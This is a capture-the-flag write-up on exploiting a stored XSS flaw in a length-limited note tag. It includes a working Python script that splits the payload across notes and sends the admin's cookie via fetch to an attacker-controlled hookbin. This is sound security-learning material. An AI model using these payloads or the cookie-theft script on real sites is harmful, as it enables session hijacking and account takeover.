Challenge Description


  • The application has a funtionality to store notes
  • Each note has two sections, a body and a tag
  • The body is the text section of note and tag can be public or private
  • The challange invovled exploiting a stored XSS vulnerability in the tag parameter
  • But the payload is constrained to 10 charachters
  • As we could store many notes, crafting a valid XSS payload using more than one note worked.
  • Application has an admin who has permission of viewing all notes.
  • Admin has also stored the FLAG as his private note.
  • So send a crafted link to admin which triggers the stored XSS and gets his cookie
  • We login as admin and get the flag.


Lets take a look at the website.

The application allows users to have an account. User can register and login.

The website has a funtionality to take notes. Each note is associated with a body which is the actual content and a tag which can be public or private. Public notes can be viewed by all the users, while private notes can only be viewed by the user who creates it.

Notes are stored and can be viewed later on.

Where is the vulnerablity ?

Source code for the website is given. Interesting parts of the source code are shown below.

const template = document.querySelector('#note-template').innerHTML;
const container = document.querySelector('.container');
const user = new URL(window.location).pathname.split('/')[2];

const populateTemplate = (template, params) =>
  template.replace(/\{\{\s?(.+?)\s?\}\}/g, (match, param) => params[param]);

(async () => {
  const request = await fetch(`/api/notes/${user}`);
  const notes = await request.json();

  const renderedNotes = [];
  for (const note of notes) {
    // this one is controlled by user, so prevent xss
    const body = note.body
      .replaceAll('<', '&lt;')
      .replaceAll('>', '&gt;')
      .replaceAll('"', '&quot;')
      .replaceAll('\'', '&#39;');
    // this one isn't, but make sure it fits on page
    const tag = note.tag.length > 10 ? note.tag.substring(0, 7) + '...' : note.tag;
    // render templates and put them in our array
    const rendered = populateTemplate(template, { body, tag });

  container.innerHTML += renderedNotes.join('');

The above code takes the user-controlled parameters and adds them to HTML template. The special characters which can lead to XSS are encoded in the body parameter. So XSS is not possible in this context.

But wait, is the tag parameter filtered? Oh, it’s not!!

On looking into the website one might think that the tag can only be public or private, but it can simply be modified to anything using a HTTP proxy like Burp. So, we have a user-controlled parameter which is not filtered and added to HTML. This is enough to get stored XSS (As the notes were being stored in the application).

But this is not the big part of the challenge.

The tag paramenter can only be 10 characters long. It would be stripped if it’s more than that. And this is a serious issue.

How to trigger XSS?

I slowly started thinking about bypassing the length check to trigger XSS.

The tag parameter was sent as a string. So modifying it to an array would make it’s length equal to lenght of the array. Irrespective of length of string in the array, length of array would remain 1, thus bypassing the check.

But this didn’t work as the parameter was strictly checked for string type. Tried modifying the content-type
from application/json to application/x-www-form-urlencoded hoping for bypass. But again it strictly checks for json.

Here is the schema used for validation in the source code -
  schema: {
    body: {
      type: 'object',
      properties: {
        body: { type: 'string' },
        tag: { type: 'string' },
      required: ['body', 'tag'],
(req) => {
  if (!req.auth.login) throw error('Not logged in!', 401);
  if (req.auth.username === 'admin')
    throw error('No admin notes please!', 400);
  db.addNote(req.auth.username, {
    body: req.body.body,
    tag: req.body.tag,
  return {};

Wait.. May be we can split a XSS payload and store each part in a tag of separate notes. Ofcourse we should make sure that all the parts form a valid XSS payload.

Lets try sending the following payload


We must also make sure to comment the extra HTML added by the template. As only 10 characters are allowed in a tag, the payload can be sent in following way -

Request 1:

data = {
    "body": "foo",
    "tag": "<script>/*"

Request 2:

data = {
    "body": "*/alert(1)/*",
    "tag": "*/"

Yayy!! We got a perfect script tag with an alert in it.

The extra HTML added by the template is ignored using javascript comments. But wait, alert hasn’t popped up?? Why is that so? I still don’t understand why it’s not working. If any one did please let me know :)


But as a work around i tried to inject an image tag. Payload would be similar to -

<img src=1 onerror=alert(1)>

This is not an easy task. Because between every two notes HTML is being added by the template. And we should somehow make our payload to ignore that HTML and trigger the XSS.

In the previous payload we used javascript comments. But as the current context is inside an image tag. So we can’t use comments here.

One way around is making the unwanted HTML as the value of an attribure. After several tries, below payload i used looked a bit promising -

<img x='Unwanted HTML here goes here' src=1 onerror='alert(1)/*Unwanted HTML here goes here*/'>

The x is a fake attribute. Here, it is used to make the payload ignore unwanted HTML.

The above payload can be sent in the following way -

Request 1:

data = {
    "body": "foo",
    "tag": "<img x='"

Request 2:

data = {
    "body": "' src=1 onerror='alert(1)/*",
    "tag": "*/'>"

But unfortunately, still there was not alert popup.. :( I have took a look into response i got-

I have made a mistake in the payload. I was not able to notice that during the CTF. By that time, three hours left for CTF to end, i felt overwhelemed and finally gave up on it. :(

Looking for solution, I found this in the discord.

By @Triacontakai

I felt bad for not trying enough. My payload was close.

In my payload, the sigle quotes inserted are being parsed in the context of the attribute x. So all the payload inserted is being added as the value of x instead of breaking out.

In the correct solution the one additional tag is used. It first breaks the a attribute and opens onload attribute. Doing this way, it worked. But why is this happening?? It’s all about understanding weird HTML parsing. To modify my payload in a similar way have complications coz of onerror is long attribute. So ignoring the unwanted HTML is hard.

So im gonna stick with above style payload. It uses onload to execute the javascript. It fits exactly. Also to execute arbitrary JS code, it uses eval along with atob, to decode a base64 string and run the code we provide. This is usefull bypassing the encoding of body parameter.

So lets try this now. I have used a python script to do this.

import requests
import base64

url = ""
hookurl = "" # replace with your hookbin url
code = "fetch('{}?key='+document.cookie)".format(hookurl)
encoded = base64.b64encode(code.encode()).decode()

username = "lol" # replace with random username

with requests.Session() as s:
  s.headers.update({'Content-Type': 'application/json'})
  data = {
    "username": username,
    "password": username
  res ='/api/register', json=data)
  print("[+] Registered a user..")

  data = {
    "body": "foo",
    "tag": "<style a='"

  res ='/api/notes', json=data)

  data = {
    "body": "foo",
    "tag": "'onload='`"

  res ='/api/notes', json=data)

  data = {
    "body": "`;eval(atob(`{}`))/*".format(encoded),
    "tag": "*/'>"

  res ='/api/notes', json=data)

print("Visit {}/view/{} to trigger stored XSS".format(url, username))
print("Payload generated. Visit {} for cookie".format(hookurl))

To trigger the XSS, view the user’s posts.

Okay XSS part is done. Now we need to leverage this to get admin’s cookie.

I have to mention one more important point here. Admin can view all the notes of any user regardless of public or private. If this functionality is absent, the stored XSS, we found would have been a self XSS. This is because, we are modifing the tag itself to trigger the XSS.

The source code responsible for this is mentioned below -

fastify.get('/notes/:username', (req) => {
  const notes = db.getNotes(req.params.username);
  if (req.params.username === req.auth.username) return notes;
  if (req.auth.username === 'admin') return notes; // if admin return all the notes
  return notes.filter((note) => note.tag === 'public');

So we could make the admin bot to view our notes by providing the link to trigger the XSS. Thus, the XSS would deliver us the admin’s cookie once the admin bot visits the link.

Here is the cookie i got in my hookbin -

Now just use the cookie to be the admin. Look at private posts of admin.

And yeah, we have the flag




  • Try testing every input parameter for XSS.
  • The way HTML parsing is done results in lot of bypasses. Keep an eye.
  • Take time to try different payloads. Gradually that will unlock the things.

Happy Hacking!

Feel free to provide feedback.